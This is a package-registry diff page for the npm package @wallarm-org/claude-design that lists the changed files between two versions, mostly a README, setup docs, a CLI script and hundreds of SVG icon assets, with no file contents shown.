@wallarm-org/claude-design 0.0.0-stage → 4.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (963) hide show
  1. package/README.md +114 -2
  2. package/bin/claude-design.js +347 -0
  3. package/dist/SETUP.md +130 -0
  4. package/dist/UPDATE.md +84 -0
  5. package/dist/assets/Icons/activity.svg +1 -0
  6. package/dist/assets/Icons/alt.svg +1 -0
  7. package/dist/assets/Icons/android-neutral.svg +1 -0
  8. package/dist/assets/Icons/android.svg +1 -0
  9. package/dist/assets/Icons/api.svg +1 -0
  10. package/dist/assets/Icons/apple-music-neutral.svg +1 -0
  11. package/dist/assets/Icons/apple-music.svg +1 -0
  12. package/dist/assets/Icons/apple-neutral.svg +1 -0
  13. package/dist/assets/Icons/apple-podcasts-neutral.svg +1 -0
  14. package/dist/assets/Icons/apple-podcasts.svg +1 -0
  15. package/dist/assets/Icons/apple.svg +1 -0
  16. package/dist/assets/Icons/archive.svg +1 -0
  17. package/dist/assets/Icons/arrow-big-up-dash.svg +1 -0
  18. package/dist/assets/Icons/arrow-big-up.svg +1 -0
  19. package/dist/assets/Icons/arrow-down-left.svg +1 -0
  20. package/dist/assets/Icons/arrow-down-right.svg +1 -0
  21. package/dist/assets/Icons/arrow-down.svg +1 -0
  22. package/dist/assets/Icons/arrow-left.svg +1 -0
  23. package/dist/assets/Icons/arrow-right-alt.svg +1 -0
  24. package/dist/assets/Icons/arrow-right.svg +1 -0
  25. package/dist/assets/Icons/arrow-up-down.svg +1 -0
  26. package/dist/assets/Icons/arrow-up-left.svg +1 -0
  27. package/dist/assets/Icons/arrow-up-right.svg +1 -0
  28. package/dist/assets/Icons/arrow-up.svg +1 -0
  29. package/dist/assets/Icons/artstation-neutral.svg +1 -0
  30. package/dist/assets/Icons/artstation.svg +1 -0
  31. package/dist/assets/Icons/asterisk.svg +1 -0
  32. package/dist/assets/Icons/audio-waveform.svg +1 -0
  33. package/dist/assets/Icons/aws-neutral.svg +1 -0
  34. package/dist/assets/Icons/aws.svg +1 -0
  35. package/dist/assets/Icons/badge-check.svg +1 -0
  36. package/dist/assets/Icons/baidu-neutral.svg +1 -0
  37. package/dist/assets/Icons/baidu.svg +1 -0
  38. package/dist/assets/Icons/bandage.svg +1 -0
  39. package/dist/assets/Icons/behance-neutral.svg +1 -0
  40. package/dist/assets/Icons/behance.svg +1 -0
  41. package/dist/assets/Icons/bell-cog.svg +1 -0
  42. package/dist/assets/Icons/bell.svg +1 -0
  43. package/dist/assets/Icons/binary.svg +1 -0
  44. package/dist/assets/Icons/book-open.svg +1 -0
  45. package/dist/assets/Icons/book.svg +1 -0
  46. package/dist/assets/Icons/boosty-neutral.svg +1 -0
  47. package/dist/assets/Icons/boosty.svg +1 -0
  48. package/dist/assets/Icons/bot.svg +1 -0
  49. package/dist/assets/Icons/brain.svg +1 -0
  50. package/dist/assets/Icons/braze-neutral.svg +1 -0
  51. package/dist/assets/Icons/braze.svg +1 -0
  52. package/dist/assets/Icons/brevo-neutral.svg +1 -0
  53. package/dist/assets/Icons/brevo.svg +1 -0
  54. package/dist/assets/Icons/bug-off.svg +1 -0
  55. package/dist/assets/Icons/bug-play.svg +1 -0
  56. package/dist/assets/Icons/bug.svg +1 -0
  57. package/dist/assets/Icons/building.svg +1 -0
  58. package/dist/assets/Icons/building2.svg +1 -0
  59. package/dist/assets/Icons/calendar-check.svg +1 -0
  60. package/dist/assets/Icons/calendar-check2.svg +1 -0
  61. package/dist/assets/Icons/calendar-clock.svg +1 -0
  62. package/dist/assets/Icons/calendar-cog.svg +1 -0
  63. package/dist/assets/Icons/calendar-days.svg +1 -0
  64. package/dist/assets/Icons/calendar-fold.svg +1 -0
  65. package/dist/assets/Icons/calendar-heart.svg +1 -0
  66. package/dist/assets/Icons/calendar-minus.svg +1 -0
  67. package/dist/assets/Icons/calendar-minus2.svg +1 -0
  68. package/dist/assets/Icons/calendar-off.svg +1 -0
  69. package/dist/assets/Icons/calendar-plus.svg +1 -0
  70. package/dist/assets/Icons/calendar-plus2.svg +1 -0
  71. package/dist/assets/Icons/calendar-range.svg +1 -0
  72. package/dist/assets/Icons/calendar-search.svg +1 -0
  73. package/dist/assets/Icons/calendar-x.svg +1 -0
  74. package/dist/assets/Icons/calendar-x2.svg +1 -0
  75. package/dist/assets/Icons/calendar.svg +1 -0
  76. package/dist/assets/Icons/chart-area.svg +1 -0
  77. package/dist/assets/Icons/chart-bar.svg +1 -0
  78. package/dist/assets/Icons/chart-column.svg +1 -0
  79. package/dist/assets/Icons/chart-no-axes-column.svg +1 -0
  80. package/dist/assets/Icons/check-check.svg +1 -0
  81. package/dist/assets/Icons/check.svg +1 -0
  82. package/dist/assets/Icons/checkbox-indeterminate.svg +1 -0
  83. package/dist/assets/Icons/chevron-down.svg +1 -0
  84. package/dist/assets/Icons/chevron-first.svg +1 -0
  85. package/dist/assets/Icons/chevron-last.svg +1 -0
  86. package/dist/assets/Icons/chevron-left.svg +1 -0
  87. package/dist/assets/Icons/chevron-right.svg +1 -0
  88. package/dist/assets/Icons/chevron-up-down.svg +1 -0
  89. package/dist/assets/Icons/chevron-up.svg +1 -0
  90. package/dist/assets/Icons/chevrons-down-up.svg +1 -0
  91. package/dist/assets/Icons/chevrons-down.svg +1 -0
  92. package/dist/assets/Icons/chevrons-left-right.svg +1 -0
  93. package/dist/assets/Icons/chevrons-left.svg +1 -0
  94. package/dist/assets/Icons/chevrons-right-left.svg +1 -0
  95. package/dist/assets/Icons/chevrons-right.svg +1 -0
  96. package/dist/assets/Icons/chevrons-up-down.svg +1 -0
  97. package/dist/assets/Icons/chevrons-up.svg +1 -0
  98. package/dist/assets/Icons/circle-arrow-down.svg +1 -0
  99. package/dist/assets/Icons/circle-arrow-left.svg +1 -0
  100. package/dist/assets/Icons/circle-arrow-out-down-left.svg +1 -0
  101. package/dist/assets/Icons/circle-arrow-out-down-right.svg +1 -0
  102. package/dist/assets/Icons/circle-arrow-out-up-left.svg +1 -0
  103. package/dist/assets/Icons/circle-arrow-out-up-right.svg +1 -0
  104. package/dist/assets/Icons/circle-arrow-right.svg +1 -0
  105. package/dist/assets/Icons/circle-arrow-up.svg +1 -0
  106. package/dist/assets/Icons/circle-check-big.svg +1 -0
  107. package/dist/assets/Icons/circle-check.svg +1 -0
  108. package/dist/assets/Icons/circle-chevron-down.svg +1 -0
  109. package/dist/assets/Icons/circle-chevron-left.svg +1 -0
  110. package/dist/assets/Icons/circle-chevron-right.svg +1 -0
  111. package/dist/assets/Icons/circle-chevron-up.svg +1 -0
  112. package/dist/assets/Icons/circle-dashed.svg +1 -0
  113. package/dist/assets/Icons/circle-dot-dashed.svg +1 -0
  114. package/dist/assets/Icons/circle-ellipsis.svg +1 -0
  115. package/dist/assets/Icons/circle-gauge.svg +1 -0
  116. package/dist/assets/Icons/circle-help.svg +1 -0
  117. package/dist/assets/Icons/circle-minus.svg +1 -0
  118. package/dist/assets/Icons/circle-plus.svg +1 -0
  119. package/dist/assets/Icons/circle-slash.svg +1 -0
  120. package/dist/assets/Icons/circle-slash2.svg +1 -0
  121. package/dist/assets/Icons/circle-stop.svg +1 -0
  122. package/dist/assets/Icons/circle.svg +1 -0
  123. package/dist/assets/Icons/clipboard-check.svg +1 -0
  124. package/dist/assets/Icons/clipboard-x.svg +1 -0
  125. package/dist/assets/Icons/clipboard.svg +1 -0
  126. package/dist/assets/Icons/clock-fading.svg +1 -0
  127. package/dist/assets/Icons/clock.svg +1 -0
  128. package/dist/assets/Icons/cloud-off.svg +1 -0
  129. package/dist/assets/Icons/cloud-sync.svg +1 -0
  130. package/dist/assets/Icons/cloud.svg +1 -0
  131. package/dist/assets/Icons/code.svg +1 -0
  132. package/dist/assets/Icons/collapse.svg +1 -0
  133. package/dist/assets/Icons/columns3-cog.svg +1 -0
  134. package/dist/assets/Icons/command.svg +1 -0
  135. package/dist/assets/Icons/compass.svg +1 -0
  136. package/dist/assets/Icons/copy-slash.svg +1 -0
  137. package/dist/assets/Icons/copy.svg +1 -0
  138. package/dist/assets/Icons/corner-down-left.svg +1 -0
  139. package/dist/assets/Icons/corner-down-right.svg +1 -0
  140. package/dist/assets/Icons/corner-left-down.svg +1 -0
  141. package/dist/assets/Icons/corner-left-up.svg +1 -0
  142. package/dist/assets/Icons/corner-right-down.svg +1 -0
  143. package/dist/assets/Icons/corner-right-up.svg +1 -0
  144. package/dist/assets/Icons/corner-up-left.svg +1 -0
  145. package/dist/assets/Icons/corner-up-right.svg +1 -0
  146. package/dist/assets/Icons/cpu.svg +1 -0
  147. package/dist/assets/Icons/credit-card.svg +1 -0
  148. package/dist/assets/Icons/crosshair.svg +1 -0
  149. package/dist/assets/Icons/ctrl.svg +1 -0
  150. package/dist/assets/Icons/database.svg +1 -0
  151. package/dist/assets/Icons/devianart-neutral.svg +1 -0
  152. package/dist/assets/Icons/devianart.svg +1 -0
  153. package/dist/assets/Icons/discord-neutral.svg +1 -0
  154. package/dist/assets/Icons/discord.svg +1 -0
  155. package/dist/assets/Icons/dollar-sign.svg +1 -0
  156. package/dist/assets/Icons/dot.svg +1 -0
  157. package/dist/assets/Icons/download.svg +1 -0
  158. package/dist/assets/Icons/dprofile-neutral.svg +1 -0
  159. package/dist/assets/Icons/dprofile.svg +1 -0
  160. package/dist/assets/Icons/dribbble-neutral.svg +1 -0
  161. package/dist/assets/Icons/dribbble.svg +1 -0
  162. package/dist/assets/Icons/droplet.svg +1 -0
  163. package/dist/assets/Icons/duplicate.svg +1 -0
  164. package/dist/assets/Icons/dzen-neutral.svg +1 -0
  165. package/dist/assets/Icons/dzen.svg +1 -0
  166. package/dist/assets/Icons/earth-lock.svg +1 -0
  167. package/dist/assets/Icons/earth.svg +1 -0
  168. package/dist/assets/Icons/ellipsis.svg +1 -0
  169. package/dist/assets/Icons/expand.svg +1 -0
  170. package/dist/assets/Icons/external-link.svg +1 -0
  171. package/dist/assets/Icons/eye-off.svg +1 -0
  172. package/dist/assets/Icons/eye.svg +1 -0
  173. package/dist/assets/Icons/facebook-neutral.svg +1 -0
  174. package/dist/assets/Icons/facebook.svg +1 -0
  175. package/dist/assets/Icons/fast-forward.svg +1 -0
  176. package/dist/assets/Icons/figma-neutral.svg +1 -0
  177. package/dist/assets/Icons/figma.svg +1 -0
  178. package/dist/assets/Icons/file-down.svg +1 -0
  179. package/dist/assets/Icons/file-plus.svg +1 -0
  180. package/dist/assets/Icons/file-text.svg +1 -0
  181. package/dist/assets/Icons/file.svg +1 -0
  182. package/dist/assets/Icons/film.svg +1 -0
  183. package/dist/assets/Icons/filter-x.svg +1 -0
  184. package/dist/assets/Icons/filter.svg +1 -0
  185. package/dist/assets/Icons/fingerprint-pattern.svg +1 -0
  186. package/dist/assets/Icons/flag.svg +1 -0
  187. package/dist/assets/Icons/flask-conical.svg +1 -0
  188. package/dist/assets/Icons/folder.svg +1 -0
  189. package/dist/assets/Icons/funnel-plus.svg +1 -0
  190. package/dist/assets/Icons/ghost.svg +1 -0
  191. package/dist/assets/Icons/git-branch.svg +1 -0
  192. package/dist/assets/Icons/git-commit-horizontal.svg +1 -0
  193. package/dist/assets/Icons/git-commit-vertical.svg +1 -0
  194. package/dist/assets/Icons/git-compare-arrows-alt.svg +1 -0
  195. package/dist/assets/Icons/git-compare-arrows.svg +1 -0
  196. package/dist/assets/Icons/git-compare.svg +1 -0
  197. package/dist/assets/Icons/git-fork.svg +1 -0
  198. package/dist/assets/Icons/git-graph.svg +1 -0
  199. package/dist/assets/Icons/git-merge.svg +1 -0
  200. package/dist/assets/Icons/git-pull-request-arrow.svg +1 -0
  201. package/dist/assets/Icons/git-pull-request-closed.svg +1 -0
  202. package/dist/assets/Icons/git-pull-request-create-arrow.svg +1 -0
  203. package/dist/assets/Icons/git-pull-request-create.svg +1 -0
  204. package/dist/assets/Icons/git-pull-request-draft.svg +1 -0
  205. package/dist/assets/Icons/git-pull-request.svg +1 -0
  206. package/dist/assets/Icons/github-neutral.svg +1 -0
  207. package/dist/assets/Icons/github.svg +1 -0
  208. package/dist/assets/Icons/globe-lock.svg +1 -0
  209. package/dist/assets/Icons/globe.svg +1 -0
  210. package/dist/assets/Icons/gmail-neutral.svg +1 -0
  211. package/dist/assets/Icons/gmail.svg +1 -0
  212. package/dist/assets/Icons/google-meet-neutral.svg +1 -0
  213. package/dist/assets/Icons/google-meet.svg +1 -0
  214. package/dist/assets/Icons/google-neutral.svg +1 -0
  215. package/dist/assets/Icons/google-play-neutral.svg +1 -0
  216. package/dist/assets/Icons/google-play.svg +1 -0
  217. package/dist/assets/Icons/google-podcast-neutral.svg +1 -0
  218. package/dist/assets/Icons/google-podcast.svg +1 -0
  219. package/dist/assets/Icons/google.svg +1 -0
  220. package/dist/assets/Icons/grip-horizontal.svg +1 -0
  221. package/dist/assets/Icons/grip-vertical.svg +1 -0
  222. package/dist/assets/Icons/hammer.svg +1 -0
  223. package/dist/assets/Icons/heart-pulse.svg +1 -0
  224. package/dist/assets/Icons/history.svg +1 -0
  225. package/dist/assets/Icons/home.svg +1 -0
  226. package/dist/assets/Icons/imo-neutral.svg +1 -0
  227. package/dist/assets/Icons/imo.svg +1 -0
  228. package/dist/assets/Icons/infinity.svg +1 -0
  229. package/dist/assets/Icons/info.svg +1 -0
  230. package/dist/assets/Icons/infobip-neutral.svg +1 -0
  231. package/dist/assets/Icons/infobip.svg +1 -0
  232. package/dist/assets/Icons/instagram-neutral.svg +1 -0
  233. package/dist/assets/Icons/instagram.svg +1 -0
  234. package/dist/assets/Icons/key-round.svg +1 -0
  235. package/dist/assets/Icons/key-square.svg +1 -0
  236. package/dist/assets/Icons/keyboard.svg +1 -0
  237. package/dist/assets/Icons/kickstarter-neutral.svg +1 -0
  238. package/dist/assets/Icons/kickstarter.svg +1 -0
  239. package/dist/assets/Icons/laptop.svg +1 -0
  240. package/dist/assets/Icons/layers.svg +1 -0
  241. package/dist/assets/Icons/layers2.svg +1 -0
  242. package/dist/assets/Icons/layers3.svg +1 -0
  243. package/dist/assets/Icons/layout-dashboard.svg +1 -0
  244. package/dist/assets/Icons/layout-grid.svg +1 -0
  245. package/dist/assets/Icons/layout-list.svg +1 -0
  246. package/dist/assets/Icons/layout-panel-left.svg +1 -0
  247. package/dist/assets/Icons/layout-panel-top.svg +1 -0
  248. package/dist/assets/Icons/layout-template.svg +1 -0
  249. package/dist/assets/Icons/library-big.svg +1 -0
  250. package/dist/assets/Icons/life-buoy.svg +1 -0
  251. package/dist/assets/Icons/lightbulb-off.svg +1 -0
  252. package/dist/assets/Icons/lightbulb.svg +1 -0
  253. package/dist/assets/Icons/line-neutral.svg +1 -0
  254. package/dist/assets/Icons/line.svg +1 -0
  255. package/dist/assets/Icons/link.svg +1 -0
  256. package/dist/assets/Icons/link2-off.svg +1 -0
  257. package/dist/assets/Icons/link2.svg +1 -0
  258. package/dist/assets/Icons/linkedin-neutral.svg +1 -0
  259. package/dist/assets/Icons/linkedin.svg +1 -0
  260. package/dist/assets/Icons/list-checks.svg +1 -0
  261. package/dist/assets/Icons/list-collapse.svg +1 -0
  262. package/dist/assets/Icons/list-filter.svg +1 -0
  263. package/dist/assets/Icons/list-minus.svg +1 -0
  264. package/dist/assets/Icons/list-ordered.svg +1 -0
  265. package/dist/assets/Icons/list-plus.svg +1 -0
  266. package/dist/assets/Icons/list-restart.svg +1 -0
  267. package/dist/assets/Icons/list-start.svg +1 -0
  268. package/dist/assets/Icons/list-todo.svg +1 -0
  269. package/dist/assets/Icons/list-tree.svg +1 -0
  270. package/dist/assets/Icons/list-video.svg +1 -0
  271. package/dist/assets/Icons/list-x.svg +1 -0
  272. package/dist/assets/Icons/list.svg +1 -0
  273. package/dist/assets/Icons/loader-circle.svg +1 -0
  274. package/dist/assets/Icons/loader.svg +1 -0
  275. package/dist/assets/Icons/lock-open.svg +1 -0
  276. package/dist/assets/Icons/lock.svg +1 -0
  277. package/dist/assets/Icons/log-in.svg +1 -0
  278. package/dist/assets/Icons/log-out.svg +1 -0
  279. package/dist/assets/Icons/mail-check.svg +1 -0
  280. package/dist/assets/Icons/mail-minus.svg +1 -0
  281. package/dist/assets/Icons/mail-open.svg +1 -0
  282. package/dist/assets/Icons/mail-plus.svg +1 -0
  283. package/dist/assets/Icons/mail-question.svg +1 -0
  284. package/dist/assets/Icons/mail-search.svg +1 -0
  285. package/dist/assets/Icons/mail-warning.svg +1 -0
  286. package/dist/assets/Icons/mail-x.svg +1 -0
  287. package/dist/assets/Icons/mail.svg +1 -0
  288. package/dist/assets/Icons/mailbox.svg +1 -0
  289. package/dist/assets/Icons/mailersend-neutral.svg +1 -0
  290. package/dist/assets/Icons/mailersend.svg +1 -0
  291. package/dist/assets/Icons/mailgun-neutral.svg +1 -0
  292. package/dist/assets/Icons/mailgun.svg +1 -0
  293. package/dist/assets/Icons/mailjet-neutral.svg +1 -0
  294. package/dist/assets/Icons/mailjet.svg +1 -0
  295. package/dist/assets/Icons/mails.svg +1 -0
  296. package/dist/assets/Icons/mailtrap-neutral.svg +1 -0
  297. package/dist/assets/Icons/mailtrap.svg +1 -0
  298. package/dist/assets/Icons/mandrill-neutral.svg +1 -0
  299. package/dist/assets/Icons/mandrill.svg +1 -0
  300. package/dist/assets/Icons/map-pin.svg +1 -0
  301. package/dist/assets/Icons/maqsam-neutral.svg +1 -0
  302. package/dist/assets/Icons/maqsam.svg +1 -0
  303. package/dist/assets/Icons/mattermost-neutral.svg +1 -0
  304. package/dist/assets/Icons/mattermost.svg +1 -0
  305. package/dist/assets/Icons/maximize.svg +1 -0
  306. package/dist/assets/Icons/maximize2.svg +1 -0
  307. package/dist/assets/Icons/medium-neutral.svg +1 -0
  308. package/dist/assets/Icons/medium.svg +1 -0
  309. package/dist/assets/Icons/megaphone-off.svg +1 -0
  310. package/dist/assets/Icons/megaphone.svg +1 -0
  311. package/dist/assets/Icons/menu.svg +1 -0
  312. package/dist/assets/Icons/merge.svg +1 -0
  313. package/dist/assets/Icons/message-square-code.svg +1 -0
  314. package/dist/assets/Icons/message-square-dashed.svg +1 -0
  315. package/dist/assets/Icons/message-square-diff.svg +1 -0
  316. package/dist/assets/Icons/message-square-dot.svg +1 -0
  317. package/dist/assets/Icons/message-square-heart.svg +1 -0
  318. package/dist/assets/Icons/message-square-off.svg +1 -0
  319. package/dist/assets/Icons/message-square-plus.svg +1 -0
  320. package/dist/assets/Icons/message-square-quote.svg +1 -0
  321. package/dist/assets/Icons/message-square-reply.svg +1 -0
  322. package/dist/assets/Icons/message-square-share.svg +1 -0
  323. package/dist/assets/Icons/message-square-text.svg +1 -0
  324. package/dist/assets/Icons/message-square-warning.svg +1 -0
  325. package/dist/assets/Icons/message-square-x.svg +1 -0
  326. package/dist/assets/Icons/message-square.svg +1 -0
  327. package/dist/assets/Icons/messages-square.svg +1 -0
  328. package/dist/assets/Icons/messenger-neutral.svg +1 -0
  329. package/dist/assets/Icons/messenger.svg +1 -0
  330. package/dist/assets/Icons/microsoft-neutral.svg +1 -0
  331. package/dist/assets/Icons/microsoft-teams-neutral.svg +1 -0
  332. package/dist/assets/Icons/microsoft-teams.svg +1 -0
  333. package/dist/assets/Icons/microsoft.svg +1 -0
  334. package/dist/assets/Icons/minimize.svg +1 -0
  335. package/dist/assets/Icons/minimize2.svg +1 -0
  336. package/dist/assets/Icons/minus.svg +1 -0
  337. package/dist/assets/Icons/moon.svg +1 -0
  338. package/dist/assets/Icons/mouse-pointer-ban.svg +1 -0
  339. package/dist/assets/Icons/mouse-pointer-click.svg +1 -0
  340. package/dist/assets/Icons/mouse-pointer.svg +1 -0
  341. package/dist/assets/Icons/mouse-pointer2.svg +1 -0
  342. package/dist/assets/Icons/mouse.svg +1 -0
  343. package/dist/assets/Icons/move-diagonal.svg +1 -0
  344. package/dist/assets/Icons/move-diagonal2.svg +1 -0
  345. package/dist/assets/Icons/move-down-left.svg +1 -0
  346. package/dist/assets/Icons/move-down-right.svg +1 -0
  347. package/dist/assets/Icons/move-down.svg +1 -0
  348. package/dist/assets/Icons/move-horizontal.svg +1 -0
  349. package/dist/assets/Icons/move-left.svg +1 -0
  350. package/dist/assets/Icons/move-right.svg +1 -0
  351. package/dist/assets/Icons/move-up-left.svg +1 -0
  352. package/dist/assets/Icons/move-up-right.svg +1 -0
  353. package/dist/assets/Icons/move-up.svg +1 -0
  354. package/dist/assets/Icons/move-vertical.svg +1 -0
  355. package/dist/assets/Icons/move3-d.svg +1 -0
  356. package/dist/assets/Icons/netcore-neutral.svg +1 -0
  357. package/dist/assets/Icons/netcore.svg +1 -0
  358. package/dist/assets/Icons/notebook-pen.svg +1 -0
  359. package/dist/assets/Icons/notebook-tabs.svg +1 -0
  360. package/dist/assets/Icons/notebook-text.svg +1 -0
  361. package/dist/assets/Icons/notebook.svg +1 -0
  362. package/dist/assets/Icons/notepad-text-dashed.svg +1 -0
  363. package/dist/assets/Icons/notepad-text.svg +1 -0
  364. package/dist/assets/Icons/notion-neutral.svg +1 -0
  365. package/dist/assets/Icons/notion.svg +1 -0
  366. package/dist/assets/Icons/octagon-alert.svg +1 -0
  367. package/dist/assets/Icons/octagon-pause.svg +1 -0
  368. package/dist/assets/Icons/octagon-x.svg +1 -0
  369. package/dist/assets/Icons/octagon.svg +1 -0
  370. package/dist/assets/Icons/ok-neutral.svg +1 -0
  371. package/dist/assets/Icons/ok-only-sign-neutral.svg +1 -0
  372. package/dist/assets/Icons/ok-only-sign.svg +1 -0
  373. package/dist/assets/Icons/ok.svg +1 -0
  374. package/dist/assets/Icons/onlyfans-neutral.svg +1 -0
  375. package/dist/assets/Icons/onlyfans.svg +1 -0
  376. package/dist/assets/Icons/option.svg +1 -0
  377. package/dist/assets/Icons/outlook365-neutral.svg +1 -0
  378. package/dist/assets/Icons/outlook365.svg +1 -0
  379. package/dist/assets/Icons/paintbrush.svg +1 -0
  380. package/dist/assets/Icons/panel-bottom-open.svg +1 -0
  381. package/dist/assets/Icons/panel-bottom.svg +1 -0
  382. package/dist/assets/Icons/panel-left-close.svg +1 -0
  383. package/dist/assets/Icons/panel-left-dashed.svg +1 -0
  384. package/dist/assets/Icons/panel-left-open.svg +1 -0
  385. package/dist/assets/Icons/panel-left.svg +1 -0
  386. package/dist/assets/Icons/panel-right-animated.svg +1 -0
  387. package/dist/assets/Icons/panel-right-close.svg +1 -0
  388. package/dist/assets/Icons/panel-right-dashed.svg +1 -0
  389. package/dist/assets/Icons/panel-right-open.svg +1 -0
  390. package/dist/assets/Icons/panel-right.svg +1 -0
  391. package/dist/assets/Icons/panel-top-bottom-dashed.svg +1 -0
  392. package/dist/assets/Icons/panel-top-close.svg +1 -0
  393. package/dist/assets/Icons/panel-top-open.svg +1 -0
  394. package/dist/assets/Icons/panel-top.svg +1 -0
  395. package/dist/assets/Icons/panels-left-bottom.svg +1 -0
  396. package/dist/assets/Icons/panels-right-bottom.svg +1 -0
  397. package/dist/assets/Icons/panels-top-left.svg +1 -0
  398. package/dist/assets/Icons/paperclip.svg +1 -0
  399. package/dist/assets/Icons/patreon-neutral.svg +1 -0
  400. package/dist/assets/Icons/patreon.svg +1 -0
  401. package/dist/assets/Icons/paypal-neutral.svg +1 -0
  402. package/dist/assets/Icons/paypal.svg +1 -0
  403. package/dist/assets/Icons/pen-line.svg +1 -0
  404. package/dist/assets/Icons/pen-off.svg +1 -0
  405. package/dist/assets/Icons/pen-tool.svg +1 -0
  406. package/dist/assets/Icons/pen.svg +1 -0
  407. package/dist/assets/Icons/pencil-line.svg +1 -0
  408. package/dist/assets/Icons/pencil-off.svg +1 -0
  409. package/dist/assets/Icons/pencil-ruler.svg +1 -0
  410. package/dist/assets/Icons/pencil.svg +1 -0
  411. package/dist/assets/Icons/pentagon.svg +1 -0
  412. package/dist/assets/Icons/percentage.svg +1 -0
  413. package/dist/assets/Icons/phone.svg +1 -0
  414. package/dist/assets/Icons/pin-off.svg +1 -0
  415. package/dist/assets/Icons/pin.svg +1 -0
  416. package/dist/assets/Icons/pinterest-neutral.svg +1 -0
  417. package/dist/assets/Icons/pinterest.svg +1 -0
  418. package/dist/assets/Icons/play.svg +1 -0
  419. package/dist/assets/Icons/plug.svg +1 -0
  420. package/dist/assets/Icons/plunk-neutral.svg +1 -0
  421. package/dist/assets/Icons/plunk.svg +1 -0
  422. package/dist/assets/Icons/plus.svg +1 -0
  423. package/dist/assets/Icons/postmark-neutral.svg +1 -0
  424. package/dist/assets/Icons/postmark.svg +1 -0
  425. package/dist/assets/Icons/product-hunt-neutral.svg +1 -0
  426. package/dist/assets/Icons/product-hunt.svg +1 -0
  427. package/dist/assets/Icons/quora-neutral.svg +1 -0
  428. package/dist/assets/Icons/quora.svg +1 -0
  429. package/dist/assets/Icons/quote.svg +1 -0
  430. package/dist/assets/Icons/radar.svg +1 -0
  431. package/dist/assets/Icons/reddit-neutral.svg +1 -0
  432. package/dist/assets/Icons/reddit.svg +1 -0
  433. package/dist/assets/Icons/redo-dot.svg +1 -0
  434. package/dist/assets/Icons/redo.svg +1 -0
  435. package/dist/assets/Icons/redo2.svg +1 -0
  436. package/dist/assets/Icons/refresh-ccw.svg +1 -0
  437. package/dist/assets/Icons/refresh-cw-off.svg +1 -0
  438. package/dist/assets/Icons/resend-neutral.svg +1 -0
  439. package/dist/assets/Icons/resend.svg +1 -0
  440. package/dist/assets/Icons/rss.svg +1 -0
  441. package/dist/assets/Icons/rules.svg +1 -0
  442. package/dist/assets/Icons/scan-line.svg +1 -0
  443. package/dist/assets/Icons/scroll-text.svg +1 -0
  444. package/dist/assets/Icons/search-hint.svg +1 -0
  445. package/dist/assets/Icons/search-x.svg +1 -0
  446. package/dist/assets/Icons/search.svg +1 -0
  447. package/dist/assets/Icons/sendgrid-neutral.svg +1 -0
  448. package/dist/assets/Icons/sendgrid.svg +1 -0
  449. package/dist/assets/Icons/server.svg +1 -0
  450. package/dist/assets/Icons/ses-neutral.svg +1 -0
  451. package/dist/assets/Icons/ses.svg +1 -0
  452. package/dist/assets/Icons/settings.svg +1 -0
  453. package/dist/assets/Icons/settings2.svg +1 -0
  454. package/dist/assets/Icons/shapes.svg +1 -0
  455. package/dist/assets/Icons/share.svg +1 -0
  456. package/dist/assets/Icons/sheet.svg +1 -0
  457. package/dist/assets/Icons/shield-alert.svg +1 -0
  458. package/dist/assets/Icons/shield-ban.svg +1 -0
  459. package/dist/assets/Icons/shield-check.svg +1 -0
  460. package/dist/assets/Icons/shield-ellipsis.svg +1 -0
  461. package/dist/assets/Icons/shield-half.svg +1 -0
  462. package/dist/assets/Icons/shield-minus.svg +1 -0
  463. package/dist/assets/Icons/shield-off.svg +1 -0
  464. package/dist/assets/Icons/shield-plus.svg +1 -0
  465. package/dist/assets/Icons/shield-question.svg +1 -0
  466. package/dist/assets/Icons/shield-user.svg +1 -0
  467. package/dist/assets/Icons/shield-x.svg +1 -0
  468. package/dist/assets/Icons/shield.svg +1 -0
  469. package/dist/assets/Icons/shift.svg +1 -0
  470. package/dist/assets/Icons/signal-neutral.svg +1 -0
  471. package/dist/assets/Icons/signal.svg +1 -0
  472. package/dist/assets/Icons/signpost.svg +1 -0
  473. package/dist/assets/Icons/sina-weibo-neutral.svg +1 -0
  474. package/dist/assets/Icons/sina-weibo.svg +1 -0
  475. package/dist/assets/Icons/skull.svg +1 -0
  476. package/dist/assets/Icons/skype-neutral.svg +1 -0
  477. package/dist/assets/Icons/skype.svg +1 -0
  478. package/dist/assets/Icons/slack-neutral.svg +1 -0
  479. package/dist/assets/Icons/slack.svg +1 -0
  480. package/dist/assets/Icons/sliders-horizontal.svg +1 -0
  481. package/dist/assets/Icons/sliders-vertical.svg +1 -0
  482. package/dist/assets/Icons/smtp-neutral.svg +1 -0
  483. package/dist/assets/Icons/smtp.svg +1 -0
  484. package/dist/assets/Icons/snapchat-neutral.svg +1 -0
  485. package/dist/assets/Icons/snapchat.svg +1 -0
  486. package/dist/assets/Icons/soundcloud-neutral.svg +1 -0
  487. package/dist/assets/Icons/soundcloud.svg +1 -0
  488. package/dist/assets/Icons/space.svg +1 -0
  489. package/dist/assets/Icons/sparkpost-neutral.svg +1 -0
  490. package/dist/assets/Icons/sparkpost.svg +1 -0
  491. package/dist/assets/Icons/speed.svg +1 -0
  492. package/dist/assets/Icons/split.svg +1 -0
  493. package/dist/assets/Icons/spotify-neutral.svg +1 -0
  494. package/dist/assets/Icons/spotify.svg +1 -0
  495. package/dist/assets/Icons/square-arrow-out-up-right.svg +1 -0
  496. package/dist/assets/Icons/square-minus.svg +1 -0
  497. package/dist/assets/Icons/square-pen.svg +1 -0
  498. package/dist/assets/Icons/square-plus.svg +1 -0
  499. package/dist/assets/Icons/square-user-round.svg +1 -0
  500. package/dist/assets/Icons/stack-overflow-neutral.svg +1 -0
  501. package/dist/assets/Icons/stack-overflow.svg +1 -0
  502. package/dist/assets/Icons/star.svg +1 -0
  503. package/dist/assets/Icons/sun.svg +1 -0
  504. package/dist/assets/Icons/syringe.svg +1 -0
  505. package/dist/assets/Icons/tag.svg +1 -0
  506. package/dist/assets/Icons/target.svg +1 -0
  507. package/dist/assets/Icons/teams-neutral.svg +1 -0
  508. package/dist/assets/Icons/teams.svg +1 -0
  509. package/dist/assets/Icons/telegram-neutral.svg +1 -0
  510. package/dist/assets/Icons/telegram-only-sign-neutral.svg +1 -0
  511. package/dist/assets/Icons/telegram-only-sign.svg +1 -0
  512. package/dist/assets/Icons/telegram.svg +1 -0
  513. package/dist/assets/Icons/terminal.svg +1 -0
  514. package/dist/assets/Icons/test-policies.svg +1 -0
  515. package/dist/assets/Icons/threads-neutral.svg +1 -0
  516. package/dist/assets/Icons/threads.svg +1 -0
